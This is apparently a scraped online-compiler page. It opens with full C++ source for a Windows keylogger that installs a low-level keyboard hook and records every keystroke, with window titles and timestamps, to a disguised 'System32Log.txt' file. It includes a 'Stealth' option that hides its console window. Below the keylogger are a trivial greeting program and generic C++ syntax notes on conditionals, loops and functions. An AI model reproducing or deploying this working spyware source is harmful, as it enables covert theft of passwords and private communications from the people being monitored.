 #include <Windows.h>
#include <time.h>
#include <iostream>
#include <cstdio>
#include <fstream>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)

// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke);
std::ofstream OUTPUT_FILE;

// This is the callback function. Consider it the event that is raised when, in this case, 
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode >= 0)
	{
		// the action is valid: HC_ACTION.
		if (wParam == WM_KEYDOWN)
		{
			// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
			kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
			
			// save to file
			Save(kbdStruct.vkCode);
		}
	}

	// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
	return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
	// Set the hook and set it to use the callback function above
	// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
	// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
	// function that sets and releases the hook.
	if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
	{
		LPCWSTR a = L"Failed to install hook!";
		LPCWSTR b = L"Error";
		MessageBox(NULL, a, b, MB_ICONERROR);
	}
}

void ReleaseHook()
{
	UnhookWindowsHookEx(_hook);
}

int Save(int key_stroke)
{
	static char lastwindow[256] = "";
    
	if ((key_stroke == 1) || (key_stroke == 2))
		return 0; // ignore mouse clicks
	
	HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout = NULL;
    if (foreground) {
        //get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID);
    }

    if (foreground)
    {
		char window_title[256];
        GetWindowTextA(foreground,(LPSTR)window_title, 256);
        
        if(strcmp(window_title, lastwindow)!=0) {
            strcpy(lastwindow, window_title);
            
            // get time
            time_t t = time(NULL);
            struct tm *tm = localtime(&t);
            char s[64];
            strftime(s, sizeof(s), "%c", tm);
            
            OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] ";
        }
    }


	std::cout << key_stroke << '\n';

	if (key_stroke == VK_BACK)
        OUTPUT_FILE << "[BACKSPACE]";
	else if (key_stroke == VK_RETURN)
		OUTPUT_FILE <<  "\n";
	else if (key_stroke == VK_SPACE)
		OUTPUT_FILE << " ";
	else if (key_stroke == VK_TAB)
		OUTPUT_FILE << "[TAB]";
	else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
		OUTPUT_FILE << "[SHIFT]";
	else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
		OUTPUT_FILE << "[CONTROL]";
	else if (key_stroke == VK_ESCAPE)
		OUTPUT_FILE << "[ESCAPE]";
	else if (key_stroke == VK_END)
		OUTPUT_FILE << "[END]";
	else if (key_stroke == VK_HOME)
		OUTPUT_FILE << "[HOME]";
	else if (key_stroke == VK_LEFT)
		OUTPUT_FILE << "[LEFT]";
	else if (key_stroke == VK_UP)
		OUTPUT_FILE << "[UP]";
	else if (key_stroke == VK_RIGHT)
		OUTPUT_FILE << "[RIGHT]";
	else if (key_stroke == VK_DOWN)
		OUTPUT_FILE << "[DOWN]";
	else if (key_stroke == 190 || key_stroke == 110)
		OUTPUT_FILE << ".";
	else if (key_stroke == 189 || key_stroke == 109)
		OUTPUT_FILE << "-";
	else if (key_stroke == 20)
		OUTPUT_FILE << "[CAPSLOCK]";
	else {
        char key;
        // check caps lock
        bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

        // check shift key
        if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
            lowercase = !lowercase;   
        }

        //map virtual key according to keyboard layout 
        key = MapVirtualKeyExA(key_stroke,MAPVK_VK_TO_CHAR, layout);
        
        //tolower converts it to lowercase properly
        if (!lowercase) key = tolower(key);
		OUTPUT_FILE <<  char(key);
    }
	
	//instead of opening and closing file handlers every time, keep file open and flush.
    OUTPUT_FILE.flush();
	return 0;
}

void Stealth()
{
	#ifdef visible
		ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
	#endif // visible

	#ifdef invisible
		ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
	#endif // invisible
}

int main()
{
	//open output file in append mode
    OUTPUT_FILE.open("System32Log.txt",std::ios_base::app);	
	// visibility of window
	Stealth();

	// Set the hook
	SetHook();

	// loop to keep the console application running.
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
	}
}

created 5 years ago

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#include <iostream>
#include <string>
using namespace std;

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{
    string name;
    cout << "Enter name:";
    getline (cin, name);
    cout << "Hello " << name;
    return 0;
}

About C++

C++ is a widely used middle-level programming language.

Supports different platforms like Windows, various Linux flavours, MacOS etc
C++ supports OOPS concepts like Inheritance, Polymorphism, Encapsulation and Abstraction.
Case-sensitive
C++ is a compiler based language
C++ supports structured programming language
C++ provides alot of inbuilt functions and also supports dynamic memory allocation.
Like C, C++ also allows you to play with memory using Pointers.

Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition If-Else is used.

if(conditional-expression) {
   //code
}
else {
   //code
}

You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.

2. Switch:

Switch is an alternative to If-Else-If ladder.

switch(conditional-expression){    
case value1:    
 // code    
 break;  // optional  
case value2:    
 // code    
 break;  // optional  
......    
    
default:     
 code to be executed when all the above cases are not matched;    
}

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  //code  
}

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while (condition) {  
// code 
}

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {  
 // code 
} while (condition);

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.

How to declare a Function:

return_type function_name(parameters);

How to call a Function:

function_name (parameters)

How to define a Function:

return_type function_name(parameters) {  
 // code
}